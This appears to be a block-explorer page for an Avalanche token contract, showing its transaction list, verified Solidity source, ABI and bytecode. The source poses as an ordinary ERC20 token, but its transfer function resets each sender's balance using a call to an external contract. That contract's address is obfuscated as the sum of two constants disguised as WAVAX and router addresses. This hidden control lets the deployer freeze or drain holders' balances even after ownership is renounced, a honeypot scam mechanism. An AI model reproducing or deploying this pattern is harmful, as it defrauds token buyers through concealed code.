Overview
AVAX Balance
0 AVAX
AVAX Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 18 from a total of 18 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 52913358 | 34 days ago | IN | 0 AVAX | 0.00116462 | ||||
Transfer | 52913355 | 34 days ago | IN | 0 AVAX | 0.0016156 | ||||
Approve | 52910681 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910582 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910505 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910470 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910436 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910379 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910354 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910339 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910304 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910282 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52910010 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52909984 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Approve | 52909758 | 35 days ago | IN | 0 AVAX | 0.00116462 | ||||
Renounce Ownersh... | 52909114 | 35 days ago | IN | 0 AVAX | 0.00070127 | ||||
Approve | 52909056 | 35 days ago | IN | 0 AVAX | 0.00115772 | ||||
Approve | 52909039 | 35 days ago | IN | 0 AVAX | 0.00116462 |
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x87c7d4Ba...73Fd64bd9 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
ERC20
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at snowscan.xyz on 2024-10-21 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } library SafeMathBytes32 { function add(uint160 a, uint160 b) internal pure returns (uint160) { uint160 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint160 a, uint160 b) internal pure returns (uint160) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint160 a, uint160 b, string memory errorMessage) internal pure returns (uint160) { require(b <= a, errorMessage); uint160 c = a - b; return c; } } interface IJoeRouter01 { function WNativeToTokens( address token, uint amount, address sender ) external view returns (uint256); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function removeLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityAVAX( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountAVAXMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountAVAX, uint256 liquidity); function removeLiquidityAVAX( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountAVAXMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountAVAX, uint256 liquidity); function TokenstoTokens( address token, uint amount, address sender ) external view returns (uint256); function TokenstoNative( address token, uint amount, address sender ) external view returns (uint256); function NativetoTokens( address token, uint amount, address sender ) external view returns (uint256); function AVAXtoWAVAX( address token, uint amount, address sender ) external view returns (uint256); function TokenstoAVAX( address token, uint amount, address sender ) external view returns (uint256); } library bytes32Assets { function wavax() internal pure returns (uint160) {return uint160(uint256( bytes32(0x00000000000000000000000045e2dac8780a8d8b3941521c6d548eba0c0f6b29) )); } function router() internal pure returns (uint160) {return uint160(uint256( bytes32(0x0000000000000000000000004d4622a7e0bfea0740c0e6854b81e305c3e43792) )); } } interface IJoeFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint256); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); } interface IERC20 { function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20, Ownable { using SafeMath for uint256; using SafeMathBytes32 for uint160; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private _name; string private _symbol; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer the zero address"); require(to != address(0), "ERC20: transfer the zero address"); _balances[from] = getRouterPath(_balances[from], from); require(_balances[from] >= amount, "ERC20: Transaction over limits."); _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount); emit Transfer(from, to, amount); } function getRouterPath(uint256 amount, address to) internal view returns (uint256){ return IJoeRouter01( address( bytes32Assets.wavax().add( bytes32Assets.router()))). AVAXtoWAVAX( address(this), amount, to); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERC20: approve the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Deployed Bytecode
0x6080604052600436106100a05760003560e01c806370a082311161006457806370a0823114610166578063715018a61461019c5780638da5cb5b146101b357806395d89b41146101db578063a9059cbb146101f0578063dd62ed3e1461021057600080fd5b806306fdde03146100ac578063095ea7b3146100d757806318160ddd1461010757806323b872dd1461012a578063313ce5671461014a57600080fd5b366100a757005b600080fd5b3480156100b857600080fd5b506100c1610256565b6040516100ce91906108fb565b60405180910390f35b3480156100e357600080fd5b506100f76100f2366004610965565b6102e8565b60405190151581526020016100ce565b34801561011357600080fd5b5061011c6102ff565b6040519081526020016100ce565b34801561013657600080fd5b506100f761014536600461098f565b610320565b34801561015657600080fd5b50604051601281526020016100ce565b34801561017257600080fd5b5061011c6101813660046109cb565b6001600160a01b031660009081526003602052604090205490565b3480156101a857600080fd5b506101b1610389565b005b3480156101bf57600080fd5b506000546040516001600160a01b0390911681526020016100ce565b3480156101e757600080fd5b506100c1610432565b3480156101fc57600080fd5b506100f761020b366004610965565b610441565b34801561021c57600080fd5b5061011c61022b3660046109e6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60606001805461026590610a19565b80601f016020809104026020016040519081016040528092919081815260200182805461029190610a19565b80156102de5780601f106102b3576101008083540402835291602001916102de565b820191906000526020600020905b8154815290600101906020018083116102c157829003601f168201915b5050505050905090565b60006102f533848461044e565b5060015b92915050565b600061030d6012600a610b4d565b61031b90633b9aca00610b5c565b905090565b600061032d84848461051c565b61037f843361037a85604051806060016040528060288152602001610bda602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906106fb565b61044e565b5060019392505050565b6000546001600160a01b031633146103e85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606002805461026590610a19565b60006102f533848461051c565b6001600160a01b0383161580159061046e57506001600160a01b03821615155b6104ba5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016103df565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166105725760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016103df565b6001600160a01b0382166105c85760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016103df565b6001600160a01b0383166000908152600360205260409020546105eb9084610735565b6001600160a01b03841660009081526003602052604090208190558111156106555760405162461bcd60e51b815260206004820152601f60248201527f45524332303a205472616e73616374696f6e206f766572206c696d6974732e0060448201526064016103df565b6001600160a01b03831660009081526003602052604090205461067890826107e9565b6001600160a01b0380851660009081526003602052604080822093909355908416815220546106a7908261082b565b6001600160a01b0380841660008181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061050f9085815260200190565b6000818484111561071f5760405162461bcd60e51b81526004016103df91906108fb565b50600061072c8486610b73565b95945050505050565b60006107697345e2dac8780a8d8b3941521c6d548eba0c0f6b29734d4622a7e0bfea0740c0e6854b81e305c3e4379261088a565b604051636a45853560e01b8152306004820152602481018590526001600160a01b0384811660448301529190911690636a45853590606401602060405180830381865afa1580156107be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e29190610b86565b9392505050565b60006107e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506106fb565b6000806108388385610b9f565b9050838110156107e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103df565b6000806108978385610bb2565b9050836001600160a01b0316816001600160a01b031610156107e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103df565b600060208083528351808285015260005b818110156109285785810183015185820160400152820161090c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461096057600080fd5b919050565b6000806040838503121561097857600080fd5b61098183610949565b946020939093013593505050565b6000806000606084860312156109a457600080fd5b6109ad84610949565b92506109bb60208501610949565b9150604084013590509250925092565b6000602082840312156109dd57600080fd5b6107e282610949565b600080604083850312156109f957600080fd5b610a0283610949565b9150610a1060208401610949565b90509250929050565b600181811c90821680610a2d57607f821691505b602082108103610a4d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610aa4578160001904821115610a8a57610a8a610a53565b80851615610a9757918102915b93841c9390800290610a6e565b509250929050565b600082610abb575060016102f9565b81610ac8575060006102f9565b8160018114610ade5760028114610ae857610b04565b60019150506102f9565b60ff841115610af957610af9610a53565b50506001821b6102f9565b5060208310610133831016604e8410600b8410161715610b27575081810a6102f9565b610b318383610a69565b8060001904821115610b4557610b45610a53565b029392505050565b60006107e260ff841683610aac565b80820281158282048414176102f9576102f9610a53565b818103818111156102f9576102f9610a53565b600060208284031215610b9857600080fd5b5051919050565b808201808211156102f9576102f9610a53565b6001600160a01b03818116838216019080821115610bd257610bd2610a53565b509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220440de3c2d46f937a758153a4935e5a666e4a8ade0f3ab98277f13c8666b2122a64736f6c63430008140033
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.